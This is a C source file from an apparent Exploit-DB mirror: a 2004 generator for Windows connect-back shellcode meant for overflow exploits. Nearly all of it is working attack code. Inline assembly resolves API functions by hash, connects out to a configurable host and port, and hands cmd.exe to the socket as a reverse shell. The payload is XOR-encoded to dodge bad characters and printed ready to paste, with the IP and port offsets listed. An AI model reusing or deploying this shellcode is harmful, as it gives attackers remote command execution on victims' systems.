mirror of
https://github.com/offensive-security/exploitdb.git
synced 2026-11-10 22:11:29 -10:00
520 lines
15 KiB
C
Executable File
520 lines
15 KiB
C
Executable File
/*
|
|
*-----------------------------------------------------------------------
|
|
*
|
|
* connectback_v32.c - Connect Back shellcode for Overflow exploit
|
|
*
|
|
* Copyright (C) 2000-2004 HUC All Rights Reserved.
|
|
*
|
|
* Author : lion
|
|
* : [email protected]
|
|
* : http://www.cnhonker.com
|
|
* :
|
|
* Date : 2003-08-15
|
|
* :
|
|
* Update : 2004-05-22 v3.2
|
|
* : 2004-05-05 v3.1
|
|
* : 2004-01-08 v3.0
|
|
* : 2003-09-10 v2.0
|
|
* : 2003-08-15 v1.0
|
|
* :
|
|
* Tested : Windows 2000/Windows XP/windows 2003
|
|
* :
|
|
* Notice : 1. ͨ¹ýpebÈ¡µÃkernel32.dllµØÖ·¡£
|
|
* : 2. ͨ¹ýº¯ÊýµÄhashÖµÀ´½øÐбȽϣ¬´úÌæGetProcAddressÈ¡µÃº¯ÊýµØÖ·£¬½ÚÊ¡º¯ÊýÃûÕ¼ÓõĿռ䡣
|
|
* : 3. ÀûÓÃÑ»·»ñÈ¡hashÖµºÍº¯ÊýµØÖ·£¬½ÚÊ¡¿Õ¼ä¡£
|
|
* : 4. ·´Á¬¶Ë¿ÚÀ´»ñµÃshell¡£
|
|
* : 5. ÓÃvc6¿ÉÒÔÃüÁîÐÐÖ±½Ó±àÒ룬·½±ãÐ޸ġ£
|
|
* : 6. win2000/winxp/win2003 ϲâÊԳɹ¦¡£
|
|
* : 7. ÔÚʹ´úÂëÒ×ÓÚÐ޸ĵÄͬʱ×î´óÓÅ»¯Îª´óС275 bytes¡£
|
|
* :
|
|
* Complie : cl connectback_v32.c
|
|
* :
|
|
* Reference: http://www.lsd-pl.net/documents/winasm-1.0.1.pdf
|
|
* : http://www.metasploit.com/shellcode.html
|
|
*
|
|
*------------------------------------------------------------------------
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <winsock2.h>
|
|
|
|
#pragma comment(lib, "ws2_32")
|
|
|
|
// Use for find the ASM code
|
|
#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90\
|
|
__asm _emit 0x90 __asm _emit 0x90\
|
|
__asm _emit 0x90 __asm _emit 0x90\
|
|
__asm _emit 0x90 __asm _emit 0x90
|
|
#define PROC_END PROC_BEGIN
|
|
#define SEARCH_STR "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
|
#define SEARCH_LEN 8
|
|
#define MAX_SC_LEN 2048
|
|
#define HASH_KEY 13
|
|
|
|
// Define Decode Parameter
|
|
#define DECODE_LEN 21
|
|
#define SC_LEN_OFFSET 7
|
|
#define ENC_KEY_OFFSET 11
|
|
#define ENC_KEY 0x99
|
|
|
|
|
|
// Define Function Addr
|
|
#define ADDR_LoadLibraryA [esi]
|
|
#define ADDR_CreateProcessA [esi+4]
|
|
#define ADDR_ExitProcess [esi+8]
|
|
#define ADDR_WaitForSingleObject [esi+12]
|
|
#define ADDR_WSASocketA [esi+16]
|
|
#define ADDR_connect [esi+20]
|
|
#define ADDR_closesocket [esi+24]
|
|
//#define ADDR_WSAStartup [esi+28]
|
|
//#define ADDR_CMD [esi+32]
|
|
|
|
// Need functions
|
|
unsigned char functions[100][128] =
|
|
{ // [esi] stack layout
|
|
// kernel32 4 // 00 kernel32.dll
|
|
{"LoadLibraryA"}, // [esi]
|
|
{"CreateProcessA"}, // [esi+4]
|
|
{"ExitThread"}, // [esi+8]
|
|
//{"ExitProcess"},
|
|
//{"TerminateProcess"},
|
|
{"WaitForSingleObject"}, // [esi+12]
|
|
//{"WaitForSingleObjectEx"},
|
|
|
|
// ws2_32 3 // 01 ws2_32.dll
|
|
{"WSASocketA"}, // [esi+16]
|
|
{"connect"}, // [esi+20]
|
|
{"closesocket"}, // [esi+24]
|
|
//{"WSAStartup"}, // [esi+28]
|
|
{""},
|
|
};
|
|
|
|
// Shellcode string
|
|
unsigned char sc[1024] = {0};
|
|
|
|
// ASM shellcode main function
|
|
void ShellCode();
|
|
|
|
// Get function hash
|
|
static DWORD __stdcall GetHash ( char *c )
|
|
{
|
|
DWORD h = 0;
|
|
|
|
while ( *c )
|
|
{
|
|
__asm ror h, HASH_KEY
|
|
|
|
h += *c++;
|
|
}
|
|
return( h );
|
|
}
|
|
|
|
// Print Shellcode
|
|
void PrintSc(unsigned char *sc, int len)
|
|
{
|
|
int i,j;
|
|
char *p;
|
|
char msg[6];
|
|
|
|
//printf("/* %d bytes */\n", buffsize);
|
|
|
|
// Print general shellcode
|
|
for(i = 0; i < len; i++)
|
|
{
|
|
if((i%16)==0)
|
|
{
|
|
if(i!=0)
|
|
printf("\"\n\"");
|
|
else
|
|
printf("\"");
|
|
}
|
|
|
|
//printf("\\x%.2X", sc[i]);
|
|
|
|
sprintf(msg, "\\x%.2X", sc[i] & 0xff);
|
|
|
|
for( p = msg, j=0; j < 4; p++, j++ )
|
|
{
|
|
if(isupper(*p))
|
|
printf("%c", _tolower(*p));
|
|
else
|
|
printf("%c", p[0]);
|
|
}
|
|
}
|
|
|
|
printf("\";\n");
|
|
}
|
|
|
|
|
|
void Make_ShellCode()
|
|
{
|
|
unsigned char *pSc_addr;
|
|
unsigned int Sc_len;
|
|
unsigned int Enc_key=ENC_KEY;
|
|
unsigned long dwHash[100];
|
|
unsigned int dwHashSize;
|
|
|
|
int i,j,k,l;
|
|
|
|
|
|
// Get functions hash
|
|
printf("[+] Get functions hash strings.\r\n");
|
|
for (i=0;;i++)
|
|
{
|
|
if (functions[i][0] == '\x0') break;
|
|
|
|
dwHash[i] = GetHash((char*)functions[i]);
|
|
printf("\t%.8X\t%s\n", dwHash[i], functions[i]);
|
|
}
|
|
dwHashSize = i*4;
|
|
|
|
|
|
// Deal with shellcode
|
|
pSc_addr = (unsigned char *)ShellCode;
|
|
|
|
for (k=0;k<MAX_SC_LEN;++k )
|
|
{
|
|
if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0)
|
|
{
|
|
break;
|
|
}
|
|
}
|
|
pSc_addr+=(k+SEARCH_LEN); // Start of the ShellCode
|
|
|
|
for (k=0;k<MAX_SC_LEN;++k)
|
|
{
|
|
if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) {
|
|
break;
|
|
}
|
|
}
|
|
Sc_len=k; // Length of the ShellCode
|
|
|
|
memcpy(sc, pSc_addr, Sc_len); // Copy shellcode to sc[]
|
|
|
|
|
|
// Add functions hash
|
|
memcpy(sc+Sc_len, (char *)dwHash, dwHashSize);
|
|
Sc_len += dwHashSize;
|
|
|
|
|
|
// Print the size of shellcode.
|
|
printf("[+] %d + %d = %d bytes shellcode\n", Sc_len-DECODE_LEN, DECODE_LEN, Sc_len);
|
|
|
|
// Print the ip/port offset
|
|
for(k=0; k <= Sc_len-3; ++k)
|
|
{
|
|
if(sc[k] == 0x00 && sc[k+1] == 0x35)
|
|
printf("/* port offset: %d + %d = %d */\r\n", k-DECODE_LEN, DECODE_LEN, k);
|
|
if(sc[k] == 0x7F && sc[k+3] == 0x01)
|
|
printf("/* ip offset: %d + %d = %d */\r\n", k-DECODE_LEN, DECODE_LEN, k);
|
|
}
|
|
|
|
/*
|
|
for(i=DECODE_LEN; i<Sc_len; i++)
|
|
{
|
|
sc[i] ^= Enc_key;
|
|
}
|
|
*/
|
|
|
|
// Print shellcode
|
|
//PrintSc(sc, Sc_len);
|
|
|
|
|
|
// Deal with find the right XOR byte
|
|
for(i=0xff; i>0; i--)
|
|
{
|
|
l = 0;
|
|
for(j=DECODE_LEN; j<Sc_len; j++)
|
|
{
|
|
if (
|
|
((sc[j] ^ i) == 0x26) || //%
|
|
((sc[j] ^ i) == 0x3d) || //=
|
|
((sc[j] ^ i) == 0x3f) || //?
|
|
((sc[j] ^ i) == 0x40) || //@
|
|
((sc[j] ^ i) == 0x00) ||
|
|
((sc[j] ^ i) == 0x0D) ||
|
|
((sc[j] ^ i) == 0x0A)
|
|
) // Define Bad Characters
|
|
{
|
|
l++; // If found the right XOR byte£¬l equals 0
|
|
break;
|
|
};
|
|
}
|
|
|
|
if (l==0)
|
|
{
|
|
Enc_key = i;
|
|
|
|
//printf("[+] Find XOR Byte: 0x%02X\n", i);
|
|
for(j=DECODE_LEN; j<Sc_len; j++)
|
|
{
|
|
sc[j] ^= Enc_key;
|
|
}
|
|
|
|
break; // If found the right XOR byte, Break
|
|
}
|
|
}
|
|
|
|
// Deal with not found XOR byte
|
|
if (l!=0)
|
|
{
|
|
printf("[-] No xor byte found!\r\n");
|
|
exit(-1);
|
|
}
|
|
|
|
// Deal with DeCode string
|
|
//memcpy(&sc[SC_LEN_OFFSET], &Sc_len, 2);
|
|
*(unsigned char *)&sc[SC_LEN_OFFSET] = Sc_len-DECODE_LEN;
|
|
*(unsigned char *)&sc[ENC_KEY_OFFSET] = Enc_key;
|
|
|
|
// Print decode
|
|
printf("/* %d bytes decode */\r\n", DECODE_LEN);
|
|
PrintSc(sc, DECODE_LEN);
|
|
|
|
// Print shellcode
|
|
printf("/* %d bytes shellcode, xor with 0x%02x */\r\n", Sc_len-DECODE_LEN, Enc_key);
|
|
PrintSc((char*)sc+DECODE_LEN, Sc_len-DECODE_LEN);
|
|
}
|
|
|
|
void main()
|
|
{
|
|
DWORD addr;
|
|
WSADATA wsa;
|
|
|
|
WSAStartup(MAKEWORD(2,2),&wsa);
|
|
|
|
Make_ShellCode();
|
|
|
|
addr = (DWORD)≻
|
|
|
|
__asm
|
|
{
|
|
jmp addr
|
|
}
|
|
|
|
return;
|
|
}
|
|
|
|
// ShellCode function
|
|
void ShellCode()
|
|
{
|
|
__asm
|
|
{
|
|
PROC_BEGIN // C macro to begin proc
|
|
//--------------------------------------------------------------------
|
|
//
|
|
// DeCode
|
|
//
|
|
//--------------------------------------------------------------------
|
|
jmp short decode_end
|
|
|
|
decode_start:
|
|
pop ebx // Decode start addr (esp -> ebx)
|
|
dec ebx
|
|
xor ecx,ecx
|
|
mov cl,0xFF // Decode len
|
|
|
|
decode_loop:
|
|
xor byte ptr [ebx+ecx],0x99 // Decode key
|
|
loop decode_loop
|
|
jmp short decode_ok
|
|
|
|
decode_end:
|
|
call decode_start
|
|
|
|
decode_ok:
|
|
|
|
//--------------------------------------------------------------------
|
|
//
|
|
// ShellCode
|
|
//
|
|
//--------------------------------------------------------------------
|
|
jmp sc_end
|
|
|
|
sc_start:
|
|
pop edi // Hash string start addr (esp -> edi)
|
|
|
|
// Get kernel32.dll base addr
|
|
mov eax, fs:0x30 // PEB
|
|
mov eax, [eax+0x0c] // PROCESS_MODULE_INFO
|
|
mov esi, [eax+0x1c] // InInitOrder.flink
|
|
lodsd // eax = InInitOrder.blink
|
|
mov ebp, [eax+8] // ebp = kernel32.dll base address
|
|
|
|
mov esi, edi // Hash string start addr -> esi
|
|
|
|
// Get function addr of kernel32
|
|
push 4
|
|
pop ecx
|
|
|
|
getkernel32:
|
|
call GetProcAddress_fun
|
|
loop getkernel32
|
|
|
|
// Get ws2_32.dll base addr
|
|
push 0x00003233
|
|
push 0x5f327377
|
|
push esp
|
|
call ADDR_LoadLibraryA // LoadLibraryA("ws2_32");
|
|
|
|
//mov ebp, eax // ebp = ws2_32.dll base address
|
|
xchg eax, ebp
|
|
|
|
// Get function addr of ws2_32
|
|
push 3
|
|
pop ecx
|
|
|
|
getws2_32:
|
|
call GetProcAddress_fun
|
|
loop getws2_32
|
|
|
|
/*
|
|
//LWSAStartup:
|
|
sub esp, 400
|
|
push esp
|
|
push 0x101
|
|
call ADDR_WSAStartup // WSAStartup(0x101, &WSADATA);
|
|
*/
|
|
|
|
//LWSASocketA:
|
|
push ecx
|
|
push ecx
|
|
push ecx
|
|
push ecx
|
|
|
|
push 1
|
|
push 2
|
|
call ADDR_WSASocketA // s=WSASocketA(2,1,0,0,0,0);
|
|
|
|
//mov ebx, eax // socket -> ebx
|
|
xchg eax, ebx
|
|
|
|
//Lconnect:
|
|
push 0x0100007F // host: 127.0.0.1
|
|
push 0x35000002 // port: 53
|
|
mov ebp, esp
|
|
|
|
push 0x10 // sizeof(sockaddr_in)
|
|
push ebp // sockaddr_in address
|
|
push ebx // socket s
|
|
call ADDR_connect // connect(s, name, sizeof(name));
|
|
|
|
// if connect failed , exit
|
|
test eax, eax
|
|
jne Finished
|
|
|
|
// xor eax, eax
|
|
|
|
// allot memory for STARTUPINFO, PROCESS_INFORMATION
|
|
mov edi, esp
|
|
|
|
// zero out SI/PI
|
|
push 0x12
|
|
pop ecx
|
|
stack_zero:
|
|
stosd
|
|
loop stack_zero
|
|
|
|
//mov byte ptr [esp+0x10], 0x44 // si.cb = sizeof(si)
|
|
//inc byte ptr [esp+0x3C] // si.dwFlags
|
|
//inc byte ptr [esp+0x3D] // si.wShowWindow
|
|
//mov [esp+0x48], ebx // si.hStdInput = s
|
|
//mov [esp+0x4C], ebx // si.hStdOutput = s
|
|
//mov [esp+0x50], ebx // si.hStdError = s
|
|
|
|
mov word ptr [esp+0x3c], 0x0101
|
|
xchg eax, ebx
|
|
stosd
|
|
stosd
|
|
stosd
|
|
|
|
mov edi, esp
|
|
|
|
// push "cmd"
|
|
push 0x00646d63 // "cmd"
|
|
mov ebp, esp
|
|
|
|
push eax // socket
|
|
|
|
//LCreateProcess:
|
|
lea eax, [edi+0x10]
|
|
push edi // pi
|
|
push eax // si
|
|
push ecx // lpCurrentDirectory
|
|
push ecx // lpEnvironment
|
|
push ecx // dwCreationFlags
|
|
push 1 // bInheritHandles
|
|
push ecx // lpThreadAttributes
|
|
push ecx // lpProcessAttributes
|
|
push ebp // lpCommandLine = "cmd"
|
|
push ecx // lpApplicationName NULL
|
|
call ADDR_CreateProcessA // CreactProcessA(NULL,"CMD",0,0,1,0,0,0,si, pi);
|
|
|
|
//LWaitForSingleObject:
|
|
//push 1
|
|
push 0xFFFFFFFF
|
|
push dword ptr [edi]
|
|
call ADDR_WaitForSingleObject // WaitForSingleObject(Handle, time) ;
|
|
|
|
//LCloseSocket:
|
|
//push ebx
|
|
call ADDR_closesocket // closesocket(c);
|
|
|
|
Finished:
|
|
//push 1
|
|
call ADDR_ExitProcess // ExitProcess();
|
|
|
|
//
|
|
GetProcAddress_fun:
|
|
push ecx
|
|
push esi
|
|
|
|
mov esi, [ebp+0x3C] // e_lfanew
|
|
mov esi, [esi+ebp+0x78] // ExportDirectory RVA
|
|
add esi, ebp // rva2va
|
|
push esi
|
|
mov esi, [esi+0x20] // AddressOfNames RVA
|
|
add esi, ebp // rva2va
|
|
xor ecx, ecx
|
|
dec ecx
|
|
|
|
find_start:
|
|
inc ecx
|
|
lodsd
|
|
add eax, ebp
|
|
xor ebx, ebx
|
|
|
|
hash_loop:
|
|
movsx edx, byte ptr [eax]
|
|
cmp dl, dh
|
|
jz short find_addr
|
|
ror ebx, HASH_KEY // hash key
|
|
add ebx, edx
|
|
inc eax
|
|
jmp short hash_loop
|
|
|
|
find_addr:
|
|
cmp ebx, [edi] // compare to hash
|
|
jnz short find_start
|
|
pop esi // ExportDirectory
|
|
mov ebx, [esi+0x24] // AddressOfNameOrdinals RVA
|
|
add ebx, ebp // rva2va
|
|
mov cx, [ebx+ecx*2] // FunctionOrdinal
|
|
mov ebx, [esi+0x1C] // AddressOfFunctions RVA
|
|
add ebx, ebp // rva2va
|
|
mov eax, [ebx+ecx*4] // FunctionAddress RVA
|
|
add eax, ebp // rva2va
|
|
stosd // function address save to [edi]
|
|
|
|
pop esi
|
|
pop ecx
|
|
ret
|
|
|
|
sc_end:
|
|
call sc_start
|
|
|
|
PROC_END //C macro to end proc
|
|
}
|
|
}
|
|
|
|
// milw0rm.com [2004-10-25]
|